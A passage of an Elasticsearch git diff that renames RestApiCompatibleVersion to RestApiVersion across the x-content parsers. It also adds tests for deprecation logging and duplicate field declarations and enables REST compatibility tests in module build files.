com.fasterxml.jackson.core.JsonToken; -import org.elasticsearch.common.compatibility.RestApiCompatibleVersion; +import org.elasticsearch.common.RestApiVersion; import org.elasticsearch.common.xcontent.DeprecationHandler; import org.elasticsearch.common.xcontent.NamedXContentRegistry; import org.elasticsearch.common.xcontent.XContentLocation; @@ -28,14 +28,14 @@ public class JsonXContentParser extends AbstractXContentParser { public JsonXContentParser(NamedXContentRegistry xContentRegistry, DeprecationHandler deprecationHandler, JsonParser parser) { - super(xContentRegistry, deprecationHandler, RestApiCompatibleVersion.currentVersion()); + super(xContentRegistry, deprecationHandler, RestApiVersion.current()); this.parser = parser; } public JsonXContentParser(NamedXContentRegistry xContentRegistry, DeprecationHandler deprecationHandler, JsonParser parser, - RestApiCompatibleVersion restApiCompatibleVersion) { - super(xContentRegistry, deprecationHandler, restApiCompatibleVersion); + RestApiVersion restApiVersion) { + super(xContentRegistry, deprecationHandler, restApiVersion); this.parser = parser; } diff --git a/libs/x-content/src/main/java/org/elasticsearch/common/xcontent/smile/SmileXContent.java b/libs/x-content/src/main/java/org/elasticsearch/common/xcontent/smile/SmileXContent.java index c077ba41a4eb8..b03f72d9c564c 100644 --- a/libs/x-content/src/main/java/org/elasticsearch/common/xcontent/smile/SmileXContent.java +++ b/libs/x-content/src/main/java/org/elasticsearch/common/xcontent/smile/SmileXContent.java @@ -13,7 +13,7 @@ import com.fasterxml.jackson.core.JsonParser; import com.fasterxml.jackson.dataformat.smile.SmileFactory; import com.fasterxml.jackson.dataformat.smile.SmileGenerator; -import org.elasticsearch.common.compatibility.RestApiCompatibleVersion; +import org.elasticsearch.common.RestApiVersion; import org.elasticsearch.common.xcontent.DeprecationHandler; import org.elasticsearch.common.xcontent.NamedXContentRegistry; import org.elasticsearch.common.xcontent.XContent; @@ -102,7 +102,7 @@ public XContentParser createParser(NamedXContentRegistry xContentRegistry, @Override public XContentParser createParserForCompatibility(NamedXContentRegistry xContentRegistry, DeprecationHandler deprecationHandler, InputStream is, - RestApiCompatibleVersion restApiCompatibleVersion) throws IOException { - return new SmileXContentParser(xContentRegistry, deprecationHandler, smileFactory.createParser(is), restApiCompatibleVersion); + RestApiVersion restApiVersion) throws IOException { + return new SmileXContentParser(xContentRegistry, deprecationHandler, smileFactory.createParser(is), restApiVersion); } } diff --git a/libs/x-content/src/main/java/org/elasticsearch/common/xcontent/smile/SmileXContentParser.java b/libs/x-content/src/main/java/org/elasticsearch/common/xcontent/smile/SmileXContentParser.java index 12f901fb1c3c0..4b68fd12acbb0 100644 --- a/libs/x-content/src/main/java/org/elasticsearch/common/xcontent/smile/SmileXContentParser.java +++ b/libs/x-content/src/main/java/org/elasticsearch/common/xcontent/smile/SmileXContentParser.java @@ -9,7 +9,7 @@ package org.elasticsearch.common.xcontent.smile; import com.fasterxml.jackson.core.JsonParser; -import org.elasticsearch.common.compatibility.RestApiCompatibleVersion; +import org.elasticsearch.common.RestApiVersion; import org.elasticsearch.common.xcontent.DeprecationHandler; import org.elasticsearch.common.xcontent.NamedXContentRegistry; import org.elasticsearch.common.xcontent.XContentType; @@ -24,8 +24,8 @@ public SmileXContentParser(NamedXContentRegistry xContentRegistry, public SmileXContentParser(NamedXContentRegistry xContentRegistry, DeprecationHandler deprecationHandler, JsonParser parser, - RestApiCompatibleVersion restApiCompatibleVersion) { - super(xContentRegistry, deprecationHandler, parser, restApiCompatibleVersion); + RestApiVersion restApiVersion) { + super(xContentRegistry, deprecationHandler, parser, restApiVersion); } @Override diff --git a/libs/x-content/src/main/java/org/elasticsearch/common/xcontent/support/AbstractXContentParser.java b/libs/x-content/src/main/java/org/elasticsearch/common/xcontent/support/AbstractXContentParser.java index c2ae840dcc12e..4b2cb45e2e85a 100644 --- a/libs/x-content/src/main/java/org/elasticsearch/common/xcontent/support/AbstractXContentParser.java +++ b/libs/x-content/src/main/java/org/elasticsearch/common/xcontent/support/AbstractXContentParser.java @@ -10,7 +10,7 @@ import org.elasticsearch.common.Booleans; import org.elasticsearch.common.CheckedFunction; -import org.elasticsearch.common.compatibility.RestApiCompatibleVersion; +import org.elasticsearch.common.RestApiVersion; import org.elasticsearch.common.xcontent.DeprecationHandler; import org.elasticsearch.common.xcontent.NamedXContentRegistry; import org.elasticsearch.common.xcontent.XContentParseException; @@ -47,17 +47,17 @@ private static void checkCoerceString(boolean coerce, Class cl private final NamedXContentRegistry xContentRegistry; private final DeprecationHandler deprecationHandler; - private final RestApiCompatibleVersion restApiCompatibleVersion; + private final RestApiVersion restApiVersion; public AbstractXContentParser(NamedXContentRegistry xContentRegistry, DeprecationHandler deprecationHandler, - RestApiCompatibleVersion restApiCompatibleVersion) { + RestApiVersion restApiVersion) { this.xContentRegistry = xContentRegistry; this.deprecationHandler = deprecationHandler; - this.restApiCompatibleVersion = restApiCompatibleVersion; + this.restApiVersion = restApiVersion; } public AbstractXContentParser(NamedXContentRegistry xContentRegistry, DeprecationHandler deprecationHandler) { - this(xContentRegistry, deprecationHandler, RestApiCompatibleVersion.currentVersion()); + this(xContentRegistry, deprecationHandler, RestApiVersion.current()); } // The 3rd party parsers we rely on are known to silently truncate fractions: see @@ -415,8 +415,8 @@ public NamedXContentRegistry getXContentRegistry() { public abstract boolean isClosed(); @Override - public RestApiCompatibleVersion getRestApiCompatibleVersion() { - return restApiCompatibleVersion; + public RestApiVersion getRestApiVersion() { + return restApiVersion; } @Override diff --git a/libs/x-content/src/main/java/org/elasticsearch/common/xcontent/support/MapXContentParser.java b/libs/x-content/src/main/java/org/elasticsearch/common/xcontent/support/MapXContentParser.java index 1483a80d6e0b1..b87fe9c5c9b86 100644 --- a/libs/x-content/src/main/java/org/elasticsearch/common/xcontent/support/MapXContentParser.java +++ b/libs/x-content/src/main/java/org/elasticsearch/common/xcontent/support/MapXContentParser.java @@ -11,12 +11,14 @@ import org.elasticsearch.common.xcontent.DeprecationHandler; import org.elasticsearch.common.xcontent.NamedXContentRegistry; import org.elasticsearch.common.xcontent.XContentLocation; +import org.elasticsearch.common.xcontent.XContentParser; import org.elasticsearch.common.xcontent.XContentType; import java.io.IOException; import java.math.BigDecimal; import java.math.BigInteger; import java.nio.CharBuffer; +import java.util.Collections; import java.util.Iterator; import java.util.List; import java.util.Map; @@ -30,6 +32,17 @@ public class MapXContentParser extends AbstractXContentParser { private TokenIterator iterator; private boolean closed; + public static XContentParser wrapObject(Object sourceMap) throws IOException { + XContentParser parser = new MapXContentParser( + NamedXContentRegistry.EMPTY, + DeprecationHandler.IGNORE_DEPRECATIONS, + Collections.singletonMap("dummy_field", sourceMap), XContentType.JSON); + parser.nextToken(); // start object + parser.nextToken(); // field name + parser.nextToken(); // field value + return parser; + } + public MapXContentParser(NamedXContentRegistry xContentRegistry, DeprecationHandler deprecationHandler, Map map, XContentType xContentType) { super(xContentRegistry, deprecationHandler); diff --git a/libs/x-content/src/main/java/org/elasticsearch/common/xcontent/yaml/YamlXContent.java b/libs/x-content/src/main/java/org/elasticsearch/common/xcontent/yaml/YamlXContent.java index 8ce0c4144118e..b33bad5de7408 100644 --- a/libs/x-content/src/main/java/org/elasticsearch/common/xcontent/yaml/YamlXContent.java +++ b/libs/x-content/src/main/java/org/elasticsearch/common/xcontent/yaml/YamlXContent.java @@ -11,7 +11,7 @@ import com.fasterxml.jackson.core.JsonEncoding; import com.fasterxml.jackson.core.JsonParser; import com.fasterxml.jackson.dataformat.yaml.YAMLFactory; -import org.elasticsearch.common.compatibility.RestApiCompatibleVersion; +import org.elasticsearch.common.RestApiVersion; import org.elasticsearch.common.xcontent.DeprecationHandler; import org.elasticsearch.common.xcontent.NamedXContentRegistry; import org.elasticsearch.common.xcontent.XContent; @@ -95,8 +95,8 @@ public XContentParser createParser(NamedXContentRegistry xContentRegistry, @Override public XContentParser createParserForCompatibility(NamedXContentRegistry xContentRegistry, DeprecationHandler deprecationHandler, InputStream is, - RestApiCompatibleVersion restApiCompatibleVersion) throws IOException { - return new YamlXContentParser(xContentRegistry, deprecationHandler, yamlFactory.createParser(is), restApiCompatibleVersion); + RestApiVersion restApiVersion) throws IOException { + return new YamlXContentParser(xContentRegistry, deprecationHandler, yamlFactory.createParser(is), restApiVersion); } } diff --git a/libs/x-content/src/main/java/org/elasticsearch/common/xcontent/yaml/YamlXContentParser.java b/libs/x-content/src/main/java/org/elasticsearch/common/xcontent/yaml/YamlXContentParser.java index 35d85dca59fbb..c6e31931f338d 100644 --- a/libs/x-content/src/main/java/org/elasticsearch/common/xcontent/yaml/YamlXContentParser.java +++ b/libs/x-content/src/main/java/org/elasticsearch/common/xcontent/yaml/YamlXContentParser.java @@ -9,7 +9,7 @@ package org.elasticsearch.common.xcontent.yaml; import com.fasterxml.jackson.core.JsonParser; -import org.elasticsearch.common.compatibility.RestApiCompatibleVersion; +import org.elasticsearch.common.RestApiVersion; import org.elasticsearch.common.xcontent.DeprecationHandler; import org.elasticsearch.common.xcontent.NamedXContentRegistry; import org.elasticsearch.common.xcontent.XContentType; @@ -24,8 +24,8 @@ public YamlXContentParser(NamedXContentRegistry xContentRegistry, public YamlXContentParser(NamedXContentRegistry xContentRegistry, DeprecationHandler deprecationHandler, JsonParser parser, - RestApiCompatibleVersion restApiCompatibleVersion) { - super(xContentRegistry, deprecationHandler, parser, restApiCompatibleVersion); + RestApiVersion restApiVersion) { + super(xContentRegistry, deprecationHandler, parser, restApiVersion); } @Override diff --git a/libs/x-content/src/test/java/org/elasticsearch/common/ParseFieldTests.java b/libs/x-content/src/test/java/org/elasticsearch/common/ParseFieldTests.java index 5e360a0afc52a..46a9aff0536cc 100644 --- a/libs/x-content/src/test/java/org/elasticsearch/common/ParseFieldTests.java +++ b/libs/x-content/src/test/java/org/elasticsearch/common/ParseFieldTests.java @@ -7,9 +7,13 @@ */ package org.elasticsearch.common; +import org.elasticsearch.common.xcontent.DeprecationHandler; import org.elasticsearch.common.xcontent.LoggingDeprecationHandler; +import org.elasticsearch.common.xcontent.XContentLocation; import org.elasticsearch.test.ESTestCase; +import java.util.function.Supplier; + import static org.hamcrest.CoreMatchers.is; import static org.hamcrest.CoreMatchers.not; import static org.hamcrest.CoreMatchers.sameInstance; @@ -60,8 +64,6 @@ public void testDeprecatedWithNoReplacement() { assertWarnings("Deprecated field [old_dep] used, this field is unused and will be removed entirely"); assertTrue(field.match("new_dep", LoggingDeprecationHandler.INSTANCE)); assertWarnings("Deprecated field [new_dep] used, this field is unused and will be removed entirely"); - - } public void testGetAllNamesIncludedDeprecated() { @@ -71,4 +73,88 @@ public void testGetAllNamesIncludedDeprecated() { parseField = new ParseField("more_like_this", "mlt"); assertThat(parseField.getAllNamesIncludedDeprecated(), arrayContainingInAnyOrder("more_like_this", "mlt")); } + + class TestDeprecationHandler implements DeprecationHandler { + + public boolean compatibleWarningsUsed = false; + + @Override + public void logRenamedField(String parserName, Supplier location, String oldName, String currentName) { + } + + @Override + public void logReplacedField(String parserName, Supplier location, String oldName, String replacedName) { + } + + @Override + public void logRemovedField(String parserName, Supplier location, String removedName) { + } + + @Override + public void logRenamedField(String parserName, Supplier location, String oldName, String currentName, + boolean isCompatibleDeprecation) { + this.compatibleWarningsUsed = isCompatibleDeprecation; + } + + @Override + public void logReplacedField(String parserName, Supplier location, String oldName, String replacedName, + boolean isCompatibleDeprecation) { + this.compatibleWarningsUsed = isCompatibleDeprecation; + + } + + @Override + public void logRemovedField(String parserName, Supplier location, String removedName, + boolean isCompatibleDeprecation) { + this.compatibleWarningsUsed = isCompatibleDeprecation; + } + } + + public void testCompatibleLoggerIsUsed() { + { + // a field deprecated in previous version and now available under old name only in compatible api + // emitting compatible logs + ParseField field = new ParseField("new_name", "old_name") + .forRestApiVersion(RestApiVersion.equalTo(RestApiVersion.minimumSupported())); + + TestDeprecationHandler testDeprecationHandler = new TestDeprecationHandler(); + + assertTrue(field.match("old_name", testDeprecationHandler)); + assertThat(testDeprecationHandler.compatibleWarningsUsed , is(true)); + } + + { + //a regular newly deprecated field. Emitting deprecation logs instead of compatible logs + ParseField field = new ParseField("new_name", "old_name"); + + TestDeprecationHandler testDeprecationHandler = new TestDeprecationHandler(); + + assertTrue(field.match("old_name", testDeprecationHandler)); + assertThat(testDeprecationHandler.compatibleWarningsUsed , is(false)); + } + + } + + public void testCompatibleWarnings() { + ParseField field = new ParseField("new_name", "old_name") + .forRestApiVersion(RestApiVersion.equalTo(RestApiVersion.minimumSupported())); + + assertTrue(field.match("new_name", LoggingDeprecationHandler.INSTANCE)); + ensureNoWarnings(); + assertTrue(field.match("old_name", LoggingDeprecationHandler.INSTANCE)); + assertWarnings("Deprecated field [old_name] used, expected [new_name] instead"); + + ParseField allDepField = new ParseField("dep", "old_name") + .withAllDeprecated() + .forRestApiVersion(RestApiVersion.equalTo(RestApiVersion.minimumSupported())); + + assertTrue(allDepField.match("dep", LoggingDeprecationHandler.INSTANCE)); + assertWarnings("Deprecated field [dep] used, this field is unused and will be removed entirely"); + assertTrue(allDepField.match("old_name", LoggingDeprecationHandler.INSTANCE)); + assertWarnings("Deprecated field [old_name] used, this field is unused and will be removed entirely"); + + ParseField regularField = new ParseField("new_name"); + assertTrue(regularField.match("new_name", LoggingDeprecationHandler.INSTANCE)); + ensureNoWarnings(); + } } diff --git a/libs/x-content/src/test/java/org/elasticsearch/common/xcontent/ConstructingObjectParserTests.java b/libs/x-content/src/test/java/org/elasticsearch/common/xcontent/ConstructingObjectParserTests.java index d94e7668a539a..4025883d284ab 100644 --- a/libs/x-content/src/test/java/org/elasticsearch/common/xcontent/ConstructingObjectParserTests.java +++ b/libs/x-content/src/test/java/org/elasticsearch/common/xcontent/ConstructingObjectParserTests.java @@ -11,7 +11,7 @@ import org.elasticsearch.common.CheckedFunction; import org.elasticsearch.common.Nullable; import org.elasticsearch.common.ParseField; -import org.elasticsearch.common.compatibility.RestApiCompatibleVersion; +import org.elasticsearch.common.RestApiVersion; import org.elasticsearch.common.logging.DeprecationLogger; import org.elasticsearch.common.xcontent.ObjectParserTests.NamedObject; import org.elasticsearch.common.xcontent.json.JsonXContent; @@ -29,7 +29,9 @@ import static org.hamcrest.Matchers.containsString; import static org.hamcrest.Matchers.equalTo; import static org.hamcrest.Matchers.hasSize; +import static org.hamcrest.Matchers.instanceOf; import static org.hamcrest.Matchers.nullValue; +import static org.hamcrest.Matchers.startsWith; public class ConstructingObjectParserTests extends ESTestCase { public void testNullDeclares() { @@ -564,7 +566,7 @@ class TestStruct { //migrating name and type from old_string_name:String to new_int_name:int public static class StructWithCompatibleFields { - // real usage would have RestApiCompatibleVersion.V_7 instead of currentVersion or minimumSupported + // real usage would have RestApiVersion.V_7 instead of currentVersion or minimumSupported static final ConstructingObjectParser PARSER = new ConstructingObjectParser<>("struct_with_compatible_fields", a -> new StructWithCompatibleFields((Integer)a[0])); @@ -573,15 +575,17 @@ public static class StructWithCompatibleFields { // The declaration is only available for lookup when parser has compatibility set PARSER.declareInt(constructorArg(), new ParseField("new_name", "old_name") - .withRestApiCompatibilityVersions(RestApiCompatibleVersion.minimumSupported())); + .forRestApiVersion(RestApiVersion.equalTo(RestApiVersion.minimumSupported()))); // declare `new_name` to be parsed when compatibility is NOT used PARSER.declareInt(constructorArg(), - new ParseField("new_name").withRestApiCompatibilityVersions(RestApiCompatibleVersion.currentVersion())); + new ParseField("new_name") + .forRestApiVersion(RestApiVersion.equalTo(RestApiVersion.current()))); // declare `old_name` to throw exception when compatibility is NOT used PARSER.declareInt((r,s) -> failWithException(), - new ParseField("old_name").withRestApiCompatibilityVersions(RestApiCompatibleVersion.currentVersion())); + new ParseField("old_name") + .forRestApiVersion(RestApiVersion.equalTo(RestApiVersion.current()))); } private int intField; @@ -598,7 +602,7 @@ public void testCompatibleFieldDeclarations() throws IOException { { // new_name is the only way to parse when compatibility is not set XContentParser parser = createParserWithCompatibilityFor(JsonXContent.jsonXContent, "{\"new_name\": 1}", - RestApiCompatibleVersion.currentVersion()); + RestApiVersion.current()); StructWithCompatibleFields o = StructWithCompatibleFields.PARSER.parse(parser, null); assertEquals(1, o.intField); } @@ -606,13 +610,13 @@ public void testCompatibleFieldDeclarations() throws IOException { { // old_name results with an exception when compatibility is not set XContentParser parser = createParserWithCompatibilityFor(JsonXContent.jsonXContent, "{\"old_name\": 1}", - RestApiCompatibleVersion.currentVersion()); + RestApiVersion.current()); expectThrows(IllegalArgumentException.class, () -> StructWithCompatibleFields.PARSER.parse(parser, null)); } { // new_name is allowed to be parsed with compatibility XContentParser parser = createParserWithCompatibilityFor(JsonXContent.jsonXContent, "{\"new_name\": 1}", - RestApiCompatibleVersion.minimumSupported()); + RestApiVersion.minimumSupported()); StructWithCompatibleFields o = StructWithCompatibleFields.PARSER.parse(parser, null); assertEquals(1, o.intField); } @@ -620,12 +624,11 @@ public void testCompatibleFieldDeclarations() throws IOException { // old_name is allowed to be parsed with compatibility, but results in deprecation XContentParser parser = createParserWithCompatibilityFor(JsonXContent.jsonXContent, "{\"old_name\": 1}", - RestApiCompatibleVersion.minimumSupported()); + RestApiVersion.minimumSupported()); StructWithCompatibleFields o = StructWithCompatibleFields.PARSER.parse(parser, null); assertEquals(1, o.intField); assertWarnings(false, "[struct_with_compatible_fields][1:14] " + "Deprecated field [old_name] used, expected [new_name] instead"); - } } @@ -633,7 +636,7 @@ public void testCompatibleFieldDeclarations() throws IOException { public static class StructRemovalField { private static final DeprecationLogger deprecationLogger = DeprecationLogger.getLogger(StructRemovalField.class); - // real usage would have RestApiCompatibleVersion.V_7 instead of currentVersion or minimumSupported + // real usage would have RestApiVersion.V_7 instead of currentVersion or minimumSupported static final ConstructingObjectParser PARSER = new ConstructingObjectParser<>("struct_removal", a -> new StructRemovalField((String)a[0])); @@ -649,11 +652,12 @@ public static class StructRemovalField { // The deprecation shoudl be done manually PARSER.declareInt(logWarningDoNothing("old_name"), new ParseField("old_name") - .withRestApiCompatibilityVersions(RestApiCompatibleVersion.minimumSupported())); + .forRestApiVersion(RestApiVersion.equalTo(RestApiVersion.minimumSupported()))); // declare `old_name` to throw exception when compatibility is NOT used PARSER.declareInt((r,s) -> failWithException(), - new ParseField("old_name").withRestApiCompatibilityVersions(RestApiCompatibleVersion.currentVersion())); + new ParseField("old_name") + .forRestApiVersion(RestApiVersion.equalTo(RestApiVersion.current()))); } private final String secondField; @@ -677,7 +681,7 @@ public void testRemovalOfField() throws IOException { // old_name with NO compatibility is resulting in an exception XContentParser parser = createParserWithCompatibilityFor(JsonXContent.jsonXContent, "{\"old_name\": 1, \"second_field\": \"someString\"}", - RestApiCompatibleVersion.currentVersion()); + RestApiVersion.current()); expectThrows(XContentParseException.class, () -> StructRemovalField.PARSER.parse(parser, null)); } @@ -685,10 +689,29 @@ public void testRemovalOfField() throws IOException { // old_name with compatibility is still parsed, but ignored and results in a warning XContentParser parser = createParserWithCompatibilityFor(JsonXContent.jsonXContent, "{\"old_name\": 1, \"second_field\": \"someString\"}", - RestApiCompatibleVersion.minimumSupported()); + RestApiVersion.minimumSupported()); StructRemovalField parse = StructRemovalField.PARSER.parse(parser, null); assertWarnings("The field old_name has been removed and is being ignored"); } } + + public void testDoubleDeclarationThrowsException() throws IOException { + class DoubleFieldDeclaration { + private int intField; + + DoubleFieldDeclaration(int intField) { + this.intField = intField; + } + } + ConstructingObjectParser PARSER = + new ConstructingObjectParser<>("double_field_declaration", a -> new DoubleFieldDeclaration((int)a[0])); + PARSER.declareInt(constructorArg(), new ParseField("name")); + + IllegalArgumentException exception = expectThrows(IllegalArgumentException.class, + () -> PARSER.declareInt(constructorArg(), new ParseField("name"))); + + assertThat(exception, instanceOf(IllegalArgumentException.class)); + assertThat(exception.getMessage(), startsWith("Parser already registered for name=[name]")); + } } diff --git a/libs/x-content/src/test/java/org/elasticsearch/common/xcontent/InstantiatingObjectParserTests.java b/libs/x-content/src/test/java/org/elasticsearch/common/xcontent/InstantiatingObjectParserTests.java index 208b9c1da50ed..5a03257c064ce 100644 --- a/libs/x-content/src/test/java/org/elasticsearch/common/xcontent/InstantiatingObjectParserTests.java +++ b/libs/x-content/src/test/java/org/elasticsearch/common/xcontent/InstantiatingObjectParserTests.java @@ -18,6 +18,8 @@ import static org.elasticsearch.common.xcontent.ConstructingObjectParser.constructorArg; import static org.hamcrest.Matchers.containsString; import static org.hamcrest.Matchers.equalTo; +import static org.hamcrest.Matchers.instanceOf; +import static org.hamcrest.Matchers.startsWith; public class InstantiatingObjectParserTests extends ESTestCase { @@ -217,4 +219,23 @@ public void testAnnotationWrongArgumentNumber() { assertThat(e.getMessage(), containsString("Annotated constructor doesn't have 2 arguments in the class")); } + public void testDoubleDeclarationThrowsException() throws IOException { + class DoubleFieldDeclaration { + private int intField; + + DoubleFieldDeclaration(int intField) { + this.intField = intField; + } + } + + InstantiatingObjectParser.Builder builder = + InstantiatingObjectParser.builder("double_declaration", DoubleFieldDeclaration.class); + builder.declareInt(constructorArg(), new ParseField("name")); + + IllegalArgumentException exception = expectThrows(IllegalArgumentException.class, + () -> builder.declareInt(constructorArg(), new ParseField("name"))); + + assertThat(exception, instanceOf(IllegalArgumentException.class)); + assertThat(exception.getMessage(), startsWith("Parser already registered for name=[name]")); + } } diff --git a/libs/x-content/src/test/java/org/elasticsearch/common/xcontent/ObjectParserTests.java b/libs/x-content/src/test/java/org/elasticsearch/common/xcontent/ObjectParserTests.java index 9ff9d7b2b658c..57a164e33e6d8 100644 --- a/libs/x-content/src/test/java/org/elasticsearch/common/xcontent/ObjectParserTests.java +++ b/libs/x-content/src/test/java/org/elasticsearch/common/xcontent/ObjectParserTests.java @@ -9,8 +9,8 @@ import org.elasticsearch.common.CheckedFunction; import org.elasticsearch.common.ParseField; +import org.elasticsearch.common.RestApiVersion; import org.elasticsearch.common.Strings; -import org.elasticsearch.common.compatibility.RestApiCompatibleVersion; import org.elasticsearch.common.xcontent.ObjectParser.NamedObjectParser; import org.elasticsearch.common.xcontent.ObjectParser.ValueType; import org.elasticsearch.common.xcontent.json.JsonXContent; @@ -32,8 +32,10 @@ import static org.hamcrest.Matchers.containsString; import static org.hamcrest.Matchers.equalTo; import static org.hamcrest.Matchers.hasSize; +import static org.hamcrest.Matchers.instanceOf; import static org.hamcrest.Matchers.not; import static org.hamcrest.Matchers.nullValue; +import static org.hamcrest.Matchers.startsWith; public class ObjectParserTests extends ESTestCase { @@ -1009,7 +1011,7 @@ public void testContextBuilder() throws IOException { } public static class StructWithCompatibleFields { - // real usage would have RestApiCompatibleVersion.V_7 instead of currentVersion or minimumSupported + // real usage would have RestApiVersion.V_7 instead of currentVersion or minimumSupported static final ObjectParser PARSER = new ObjectParser<>("struct_with_compatible_fields", StructWithCompatibleFields::new); @@ -1018,15 +1020,17 @@ public static class StructWithCompatibleFields { // The declaration is only available for lookup when parser has compatibility set PARSER.declareInt(StructWithCompatibleFields::setIntField, new ParseField("new_name", "old_name") - .withRestApiCompatibilityVersions(RestApiCompatibleVersion.minimumSupported())); + .forRestApiVersion(RestApiVersion.equalTo(RestApiVersion.minimumSupported()))); // declare `new_name` to be parsed when compatibility is NOT used PARSER.declareInt(StructWithCompatibleFields::setIntField, - new ParseField("new_name").withRestApiCompatibilityVersions(RestApiCompatibleVersion.currentVersion())); + new ParseField("new_name") + .forRestApiVersion(RestApiVersion.onOrAfter(RestApiVersion.current()))); // declare `old_name` to throw exception when compatibility is NOT used PARSER.declareInt((r,s) -> failWithException(), - new ParseField("old_name").withRestApiCompatibilityVersions(RestApiCompatibleVersion.currentVersion())); + new ParseField("old_name") + .forRestApiVersion(RestApiVersion.onOrAfter(RestApiVersion.current()))); } private static void failWithException() { @@ -1044,7 +1048,7 @@ public void testCompatibleFieldDeclarations() throws IOException { { // new_name is the only way to parse when compatibility is not set XContentParser parser = createParserWithCompatibilityFor(JsonXContent.jsonXContent, "{\"new_name\": 1}", - RestApiCompatibleVersion.currentVersion()); + RestApiVersion.current()); StructWithCompatibleFields o = StructWithCompatibleFields.PARSER.parse(parser, null); assertEquals(1, o.intField); } @@ -1052,21 +1056,20 @@ public void testCompatibleFieldDeclarations() throws IOException { { // old_name results with an exception when compatibility is not set XContentParser parser = createParserWithCompatibilityFor(JsonXContent.jsonXContent, "{\"old_name\": 1}", - RestApiCompatibleVersion.currentVersion()); + RestApiVersion.current()); expectThrows(IllegalArgumentException.class, () -> StructWithCompatibleFields.PARSER.parse(parser, null)); } { // new_name is allowed to be parsed with compatibility XContentParser parser = createParserWithCompatibilityFor(JsonXContent.jsonXContent, "{\"new_name\": 1}", - RestApiCompatibleVersion.minimumSupported()); + RestApiVersion.minimumSupported()); StructWithCompatibleFields o = StructWithCompatibleFields.PARSER.parse(parser, null); assertEquals(1, o.intField); } { - // old_name is allowed to be parsed with compatibility, but results in deprecation XContentParser parser = createParserWithCompatibilityFor(JsonXContent.jsonXContent, "{\"old_name\": 1}", - RestApiCompatibleVersion.minimumSupported()); + RestApiVersion.minimumSupported()); StructWithCompatibleFields o = StructWithCompatibleFields.PARSER.parse(parser, null); assertEquals(1, o.intField); assertWarnings(false, "[struct_with_compatible_fields][1:14] " + @@ -1074,4 +1077,61 @@ public void testCompatibleFieldDeclarations() throws IOException { } } + public static class StructWithOnOrAfterField { + // real usage would have exact version like RestApiVersion.V_7 (equal to current version) instead of minimumSupported + + static final ObjectParser PARSER = + new ObjectParser<>("struct_with_on_or_after_field", StructWithOnOrAfterField::new); + static { + + // in real usage you would use a real version like RestApiVersion.V_8 and expect it to parse for version V_9, V_10 etc + PARSER.declareInt(StructWithOnOrAfterField::setIntField, + new ParseField("new_name") + .forRestApiVersion(RestApiVersion.onOrAfter(RestApiVersion.minimumSupported()))); + + } + + private int intField; + + private void setIntField(int intField) { + this.intField = intField; + } + } + + public void testFieldsForVersionsOnOrAfter() throws IOException { + // this test needs to verify that a field declared in version N will be available in version N+1 + // to do this, we assume a version N is minimum (so that the test passes for future releases) and the N+1 is current() + + // new name is accessed in "current" version - lets assume the current is minimumSupported + XContentParser parser = createParserWithCompatibilityFor(JsonXContent.jsonXContent, "{\"new_name\": 1}", + RestApiVersion.minimumSupported()); + StructWithOnOrAfterField o1 = StructWithOnOrAfterField.PARSER.parse(parser, null); + assertEquals(1, o1.intField); + + // new name is accessed in "future" version - lets assume the future is currentVersion (minimumSupported+1) + XContentParser futureParser = createParserWithCompatibilityFor(JsonXContent.jsonXContent, "{\"new_name\": 1}", + RestApiVersion.current()); + StructWithOnOrAfterField o2 = StructWithOnOrAfterField.PARSER.parse(futureParser, null); + assertEquals(1, o2.intField); + } + + public void testDoubleDeclarationThrowsException() throws IOException { + class DoubleFieldDeclaration { + private int intField; + + private void setIntField(int intField) { + this.intField = intField; + } + } + + ObjectParser PARSER = + new ObjectParser<>("double_field_declaration", DoubleFieldDeclaration::new); + PARSER.declareInt(DoubleFieldDeclaration::setIntField, new ParseField("name")); + + IllegalArgumentException exception = expectThrows(IllegalArgumentException.class, + () -> PARSER.declareInt(DoubleFieldDeclaration::setIntField, new ParseField("name"))); + + assertThat(exception, instanceOf(IllegalArgumentException.class)); + assertThat(exception.getMessage(), startsWith("Parser already registered for name=[name]")); + } } diff --git a/modules/aggs-matrix-stats/build.gradle b/modules/aggs-matrix-stats/build.gradle index ccf56cdeb49e5..c3fb9d880452f 100644 --- a/modules/aggs-matrix-stats/build.gradle +++ b/modules/aggs-matrix-stats/build.gradle @@ -6,6 +6,7 @@ * Side Public License, v 1. */ apply plugin: 'elasticsearch.yaml-rest-test' +apply plugin: 'elasticsearch.yaml-rest-compat-test' esplugin { description 'Adds aggregations whose input are a list of numeric fields and output includes a matrix.' @@ -14,6 +15,6 @@ esplugin { restResources { restApi { - includeCore '_common', 'indices', 'cluster', 'index', 'search', 'nodes' + include '_common', 'indices', 'cluster', 'index', 'search', 'nodes' } } diff --git a/modules/analysis-common/build.gradle b/modules/analysis-common/build.gradle index f4998dd1c6f3c..4b4cdfd4d75a4 100644 --- a/modules/analysis-common/build.gradle +++ b/modules/analysis-common/build.gradle @@ -6,6 +6,7 @@ * Side Public License, v 1. */ apply plugin: 'elasticsearch.yaml-rest-test' +apply plugin: 'elasticsearch.yaml-rest-compat-test' apply plugin: 'elasticsearch.internal-cluster-test' esplugin { @@ -16,10 +17,19 @@ esplugin { restResources { restApi { - includeCore '_common', 'indices', 'index', 'cluster', 'search', 'nodes', 'bulk', 'termvectors', 'explain', 'count' + include '_common', 'indices', 'index', 'cluster', 'search', 'nodes', 'bulk', 'termvectors', 'explain', 'count' } } dependencies { compileOnly project(':modules:lang-painless') } + +tasks.named("yamlRestCompatTest").configure { + systemProperty 'tests.rest.blacklist', [ + 'search.query/50_queries_with_synonyms/Test common terms query with stacked tokens', + 'indices.analyze/10_analyze/htmlStrip_deprecated', + 'analysis-common/40_token_filters/delimited_payload_filter_error', + 'analysis-common/20_analyzers/standard_html_strip' + ].join(',') +} diff --git a/modules/analysis-common/src/main/java/org/elasticsearch/analysis/common/KeywordMarkerTokenFilterFactory.java b/modules/analysis-common/src/main/java/org/elasticsearch/analysis/common/KeywordMarkerTokenFilterFactory.java index 6275acc396704..8718a13e0d97e 100644 --- a/modules/analysis-common/src/main/java/org/elasticsearch/analysis/common/KeywordMarkerTokenFilterFactory.java +++ b/modules/analysis-common/src/main/java/org/elasticsearch/analysis/common/KeywordMarkerTokenFilterFactory.java @@ -17,6 +17,7 @@ import org.elasticsearch.index.IndexSettings; import org.elasticsearch.index.analysis.AbstractTokenFilterFactory; import org.elasticsearch.index.analysis.Analysis; +import org.elasticsearch.index.analysis.AnalysisMode; import java.util.Set; import java.util.regex.Pattern; @@ -40,6 +41,7 @@ public class KeywordMarkerTokenFilterFactory extends AbstractTokenFilterFactory private final CharArraySet keywordLookup; private final Pattern keywordPattern; + private final AnalysisMode analysisMode; 